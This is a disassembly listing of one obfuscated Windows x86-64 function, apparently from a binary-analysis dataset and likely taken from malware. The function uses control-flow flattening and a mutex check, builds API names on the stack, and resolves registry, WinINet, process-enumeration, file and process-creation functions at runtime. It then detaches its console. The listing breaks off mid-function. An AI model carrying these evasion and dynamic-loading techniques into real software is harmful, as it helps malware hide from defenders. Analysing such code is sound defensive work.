Function at 0x1400404e0
Capabilities:
Check mutex on windows
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1f0], xmm15
movaps xmmword [rbp + 0x1e0], xmm14
movaps xmmword [rbp + 0x1d0], xmm13
movaps xmmword [rbp + 0x1c0], xmm12
movaps xmmword [rbp + 0x1b0], xmm11
movaps xmmword [rbp + 0x1a0], xmm10
movaps xmmword [rbp + 0x190], xmm9
movaps xmmword [rbp + 0x180], xmm8
movaps xmmword [rbp + 0x170], xmm7
movaps xmmword [rbp + 0x160], xmm6
mov rax, qword [0x1400810a8]
xor rax, rbp
mov qword [rbp + 0x158], rax
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x697f5403
and edx, 0x9680abfc
or edx, eax
mov eax, edx
xor eax, 0x9680abfc
and eax, 0xfffffffe
xor edx, 0x697f5402
or edx, eax
cmp edx, 0xffffffff
sete byte [rbp + 0xe]
cmp ecx, 0xa
setl byte [rbp + 0xf]
xorps xmm6, xmm6
movaps xmm10, xmmword [0x1400748a0]
movaps xmm11, xmmword [0x1400748b0]
movaps xmm12, xmmword [0x1400748c0]
movaps xmm13, xmmword [0x1400748d0]
movaps xmm14, xmmword [0x1400748e0]
movaps xmm15, xmmword [0x1400748f0]
movaps xmm7, xmmword [0x140074900]
movaps xmm8, xmmword [0x140074910]
movaps xmm9, xmmword [0x140074920]
mov eax, 0xf993666b
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x398efbc9
mov eax, 0xa8005e7e
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x398efbc9
cmovne eax, ebx
test cl, cl
cmovne eax, edx
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xfae6a21
jle 0x140040850
cmp eax, 0x4b8934aa
jg 0x140040720
cmp eax, 0x2cf41cf1
jg 0x140040772
cmp eax, 0x1b709b4e
jle 0x140040a78
cmp eax, 0x225415c1
jg 0x1400416f0
cmp eax, 0x1f103822
jg 0x140041f23
cmp eax, 0x1b709b4f
je 0x1400435f6
cmp eax, 0x1be63de7
je 0x140043682
cmp eax, 0x1c6489f1
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x8d6af9c4
mov ebx, 0x56e54af2
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0x8d6af9c4
jmp 0x1400449b3
cmp eax, 0x6401ace0
jg 0x140040807
cmp eax, 0x5a47ceaf
jle 0x140040b1d
cmp eax, 0x5f247e44
jg 0x14004177c
cmp eax, 0x5d3c863d
jg 0x140041fa2
cmp eax, 0x5a47ceb0
je 0x140043697
cmp eax, 0x5a71f1ec
je 0x1400437b6
cmp eax, 0x5bbdd63e
jne 0x140040660
jmp 0x140042294
cmp eax, 0x3ad10ea3
jle 0x140040bb9
cmp eax, 0x40a6e3b9
jg 0x1400417bd
cmp eax, 0x3d037cda
jg 0x140042009
cmp eax, 0x3ad10ea4
je 0x140043821
cmp eax, 0x3c15d74c
je 0x140043836
cmp eax, 0x3cf6b1da
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xe507a78
mov ebx, 0xf424b198
cmovne eax, ebx
test cl, cl
mov ecx, 0xe507a78
jmp 0x14004472d
cmp eax, 0x742e6ae0
jle 0x140040c84
cmp eax, 0x7610b745
jg 0x140041ebf
cmp eax, 0x75dc7b79
je 0x1400481be
cmp eax, 0x742e6ae1
je 0x1400438ca
cmp eax, 0x747b382d
jne 0x140040660
mov eax, 0xdeee333f
cmp eax, 0xfae6a21
jg 0x14004066b
nop
cmp eax, 0xc2c4dbb3
jg 0x140040920
cmp eax, 0x9dedabe1
jg 0x140040982
cmp eax, 0x8f211425
jle 0x140040d11
cmp eax, 0x95433fc2
jg 0x1400417fe
cmp eax, 0x90b222ea
jg 0x140042084
cmp eax, 0x8f211426
je 0x1400438ed
cmp eax, 0x8f4aa834
je 0x140043964
cmp eax, 0x8f8dc5a6
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xb3c54937
and edx, 0x4c3ab6c8
or edx, eax
mov eax, edx
xor eax, 0x4c3ab6c8
and eax, 0xfffffffe
xor edx, 0xb3c54936
or edx, eax
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg bl
xor bl, al
mov ecx, ebx
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
xor cl, dl
mov ecx, 0x1b709b4f
mov eax, 0x8f211426
cmovne ecx, eax
test dl, dl
mov eax, 0x1b709b4f
jmp 0x140047ebf
cmp eax, 0xe0664bc6
jg 0x1400409d9
cmp eax, 0xd41f6868
jle 0x140040d5d
cmp eax, 0xdd0724e7
jg 0x14004189c
cmp eax, 0xd7c89db1
jg 0x140042104
cmp eax, 0xd41f6869
je 0x140043980
cmp eax, 0xd63a077a
je 0x140043a04
cmp eax, 0xd6c9dc7b
jne 0x140040660
mov eax, 0x368ac921
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0xb4846c4e
jle 0x140040e0c
cmp eax, 0xbc8d2476
jg 0x1400418dd
cmp eax, 0xb958a4b7
jg 0x14004217b
cmp eax, 0xb4846c4f
je 0x140043a19
cmp eax, 0xb8a5f393
je 0x140043a7a
cmp eax, 0xb8f8f08c
jne 0x140040660
mov eax, 0x95e7af1d
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0xf2770237
jle 0x140040edf
cmp eax, 0x190116d
jg 0x140041967
cmp eax, 0xf424b197
jg 0x140042211
cmp eax, 0xf2770238
je 0x140043ae1
cmp eax, 0xf2b90c9e
je 0x140043b4e
cmp eax, 0xf39cddd2
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x600923ce
and ecx, 0x9ff6dc31
or ecx, edx
xor ecx, 0x600923cf
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0x52d5c2ba
mov eax, 0x897e4af0
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0x52d5c2ba
jmp 0x140045968
cmp eax, 0x17224c4a
jle 0x140041a15
cmp eax, 0x1756f475
jg 0x140042273
cmp eax, 0x17224c4b
je 0x140043c01
cmp eax, 0x172327fc
je 0x140043cc7
cmp eax, 0x173eb431
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov eax, ebx
or bl, dl
and dl, cl
and al, r8b
or al, dl
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x8b5fb534
mov ebx, 0xdea5c8b7
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x8b5fb534
jmp 0x140047406
cmp eax, 0x5552a1ca
jle 0x140041ab8
cmp eax, 0x5890952d
jg 0x1400422a9
cmp eax, 0x5552a1cb
je 0x140043cef
cmp eax, 0x56e54af2
je 0x140043d04
cmp eax, 0x56ed499f
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfdcfe44f
and edx, 0x2301bb0
or edx, ebx
xor edx, 0x2301bb1
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xb25cd9f5
mov ebx, 0xcf6cd2ee
cmovne eax, ebx
test cl, cl
mov ecx, 0xb25cd9f5
jmp 0x140046610
cmp eax, 0x33e25b7c
jle 0x140041ba6
cmp eax, 0x3907a49d
jg 0x14004230d
cmp eax, 0x33e25b7d
je 0x140043d19
cmp eax, 0x368ac921
je 0x140043d86
cmp eax, 0x37ed5f9a
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x2aef3d7c
and ecx, 0xd510c283
or ecx, eax
mov eax, ecx
xor eax, 0xd510c283
xor ecx, 0x2830514
and ecx, 0xd2930517
mov edx, eax
and edx, 0x2d6cfae8
or edx, ecx
xor edx, 0x2d6cfae9
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xdf859264
and eax, 0x207a6d9b
or eax, ecx
xor eax, 0x207a6d9b
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0xed4fd58
mov edx, 0xdd0724e8
cmovne eax, edx
test cl, cl
cmove eax, edx
test bl, bl
mov ecx, 0xed4fd58
jmp 0x140048196
cmp eax, 0x6d3426b0
jle 0x140041c29
cmp eax, 0x6e4722f4
jg 0x140042344
cmp eax, 0x6d3426b1
je 0x140043deb
cmp eax, 0x6d48f0b5
je 0x140043e59
cmp eax, 0x6ddba36c
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0x81f55a32
mov eax, 0x5f937490
cmovne ebx, eax
test cl, cl
mov eax, 0x81f55a32
jmp 0x1400470d4
cmp eax, 0x8728c448
jle 0x140041c6a
cmp eax, 0x8d3935a8
jg 0x1400423a8
cmp eax, 0x8728c449
je 0x140043ec7
cmp eax, 0x897e4af0
je 0x140043edc
cmp eax, 0x8b5fb534
jne 0x140040660
mov eax, 0x8f8dc5a6
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0xcf446d24
jle 0x140041cac
cmp eax, 0xd0f2cceb
jg 0x140042423
cmp eax, 0xcf446d25
je 0x140043ef1
cmp eax, 0xcf6cd2ee
je 0x140043f48
cmp eax, 0xd05a5478
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xbfff3ca3
and edx, 0x4000c35c
or edx, eax
xor edx, 0x4000c35c
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0x8edd963e
mov eax, 0x5f247e45
cmovne edx, eax
test cl, cl
mov eax, 0x8edd963e
jmp 0x140044b27
cmp eax, 0xaa44dfe4
jle 0x140041d28
cmp eax, 0xaa7857e2
jg 0x140042449
cmp eax, 0xaa44dfe5
je 0x140043fb3
cmp eax, 0xaa5f1d0d
je 0x140044017
cmp eax, 0xaa7612e4
jne 0x140040660
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, str.cxzzoopp
call fcn.140059e90
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x157]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x9292c7cf
and edx, 0x6d6d3830
or edx, ebx
xor edx, 0x6d6d3831
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xc9f30a07
mov ecx, 0x8f4aa834
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xc9f30a07
jmp 0x140048196
cmp eax, 0xe3e1e8a6
jle 0x140041da1
cmp eax, 0xe6416639
jg 0x14004247f
cmp eax, 0xe3e1e8a7
je 0x140044068
cmp eax, 0xe556e40b
je 0x1400440f4
cmp eax, 0xe5f58ced
jne 0x140040660
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r13, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r12, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x80], rsp
sub rsp, 0x20
lea rcx, str.kernel32.dll
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rdi
add rsp, 0x20
mov qword [0x140081b08], rax
sub rsp, 0x20
lea rcx, str.advapi32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b10], rax
sub rsp, 0x20
lea rcx, str.wininet.dll
call rdi
add rsp, 0x20
mov qword [0x140081b18], rax
sub rsp, 0x20
lea rcx, str.user32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b20], rax
sub rsp, 0x20
lea rcx, str.gdi32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b28], rax
sub rsp, 0x20
lea rcx, str.ole32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b30], rax
mov rdx, qword [rbp]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmm0, xmmword [0x140074880]
movaps xmmword [rdx], xmm0
mov rcx, qword [0x140081b08]
sub rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
add rsp, 0x20
mov qword [0x140087238], rax
movaps xmmword [rsi], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movabs rax, 0x4e72657355746547
mov qword [rsi], rax
mov dword [rsi + 8], 0x57656d61
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, rsi
call rdi
add rsp, 0x20
mov qword [0x140087658], rax
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x6156746547676552
mov qword [r13], rax
mov dword [r13 + 8], 0x5765756c
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r13
call rdi
add rsp, 0x20
mov qword [0x140087438], rax
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movabs rax, 0x7461657243676552
mov qword [r15], rax
mov dword [r15 + 8], 0x79654b65
mov byte [r15 + 0xc], 0x57
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r15
call rdi
add rsp, 0x20
mov qword [0x140082100], rax
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movabs rax, 0x654b746553676552
mov qword [r14], rax
mov dword [r14 + 8], 0x6c615679
mov word [r14 + 0xc], 0x6575
mov byte [r14 + 0xe], 0x57
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r14
call rdi
add rsp, 0x20
mov qword [0x140087440], rax
movaps xmmword [r12], xmm6
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movabs rax, 0x65736f6c43676552
mov qword [r12], rax
mov word [r12 + 8], 0x654b
mov byte [r12 + 0xa], 0x79
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r12
call rdi
add rsp, 0x20
mov qword [0x140087448], rax
mov rdx, qword [rbp - 8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmm0, xmmword [0x140074890]
movaps xmmword [rdx], xmm0
movabs rax, 0x746f687370616e53
mov qword [rdx + 0x10], rax
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140087228], rax
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movabs rax, 0x33737365636f7250
mov rsi, rax
mov qword [rbx], rax
mov dword [rbx + 8], 0x72694632
mov word [rbx + 0xc], 0x7473
mov rcx, qword [0x140081b08]
sub rsp, 0x20
mov rdx, rbx
call rdi
add rsp, 0x20
mov qword [0x14008ec20], rax
mov rdx, qword [rbp - 0x10]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6e614865736f6c43
mov qword [rdx], rax
mov word [rdx + 8], 0x6c64
mov byte [rdx + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082020], rax
mov rdx, qword [rbp - 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov qword [rdx], rsi
mov dword [rdx + 8], 0x78654e32
mov byte [rdx + 0xc], 0x74
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ec28], rax
mov rdx, qword [rbp - 0x20]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140087230], rax
mov rdx, qword [rbp - 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x74656e7265746e49
mov qword [rdx], rax
mov dword [rdx + 8], 0x6e65704f
mov byte [rdx + 0xc], 0x57
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082010], rax
mov rdx, qword [rbp - 0x30]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm11
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081fc8], rax
mov rdx, qword [rbp - 0x38]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm12
mov word [rdx + 0x10], 0x6c64
mov byte [rdx + 0x12], 0x65
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081bc8], rax
mov rdx, qword [rbp - 0x40]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x50706d6554746547
mov qword [rdx], rax
mov dword [rdx + 8], 0x57687461
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebe8], rax
mov rdx, qword [rbp - 0x48]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6946657461657243
mov qword [rdx], rax
mov word [rdx + 8], 0x656c
mov byte [rdx + 0xa], 0x57
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x1400820f0], rax
mov rdx, qword [rbp - 0x50]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x656c694664616552
mov qword [rdx], rax
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x1400820e8], rax
mov rdx, qword [rbp - 0x58]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm13
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082008], rax
mov rdx, qword [rbp - 0x60]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm14
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081fd0], rax
mov rdx, qword [rbp - 0x68]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm15
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081bd0], rax
mov rdx, qword [rbp - 0x70]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x7250657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x7365636f
mov word [rdx + 0xc], 0x5773
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebf8], rax
mov rdx, qword [rbp - 0x78]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6c69466574697257
mov qword [rdx], rax
mov byte [rdx + 8], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebe0], rax
mov rdx, qword [rbp - 0x80]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6854657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x64616572
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ec10], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeConsole]
add rsp, 0x20
mov eax, 0x65ccdbd8
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x27e3c021
jg 0x140042537
cmp eax, 0x225415c2
je 0x14004414e
cmp eax, 0x23ba81c1
je 0x14004419e
cmp eax, 0x23c56372
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x48f0ca97
mov eax, 0x5890952e
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x48f0ca97
jmp 0x14004064a
cmp eax, 0x5fa11a09
jg 0x1400425c5
cmp eax, 0x5f247e45
je 0x140044213
cmp eax, 0x5f937490
je 0x140044228
cmp eax, 0x5f9529b6
jne 0x140040660
mov eax, 0x402e9593
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x46ed04c2
jg 0x140042669
cmp eax, 0x40a6e3ba
je 0x14004423d
cmp eax, 0x42201fcf
je 0x140041c55
cmp eax, 0x43600c25
jne 0x140040660
mov eax, 0xb958a4b8
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x98cd0a3a
jg 0x140042736
cmp eax, 0x95433fc3
je 0x140044281
cmp eax, 0x95e7af1d
je 0x1400442e5
cmp eax, 0x967f26d6
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x3932cc23
and edx, 0xc6cd33dc
or edx, ebx
xor edx, 0xc6cd33dd
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0xaa5f1d0d
mov ecx, 0x594471aa
cmovne eax, ecx
test dl, dl
mov edx, 0xaa5f1d0d
cmove eax, edx
jmp 0x140047ec2
cmp eax, 0xdea5c8b6
jg 0x1400427aa
cmp eax, 0xdd0724e8
je 0x140044351
cmp eax, 0xdd8f47d8
je 0x140044366
cmp eax, 0xde5f67bd
jne 0x140040660
mov eax, 0x774b0ecd
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0xbe7bb8f8
jg 0x14004282e
cmp eax, 0xbc8d2477
je 0x14004437b
cmp eax, 0xbcfe510f
je 0x1400443d5
cmp eax, 0xbe3fd451
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0xca2f7f69
mov eax, 0xd2b337c
cmovne ecx, eax
test bl, bl
mov eax, 0xca2f7f69
jmp 0x140047f3f
cmp eax, 0xd2b337b
jg 0x140042893
cmp eax, 0x190116e
je 0x140044432
cmp eax, 0x394bbe1
je 0x140044447
cmp eax, 0x8aa9303
jne 0x140040660
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x70f55b18
and edx, 0x8f0aa4e7
or edx, ecx
mov ecx, edx
xor ecx, 0x8f0aa4e6
and ecx, 0xfffffffe
xor edx, 0x70f55b19
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xcb805866
and edx, 0x347fa799
or edx, ecx
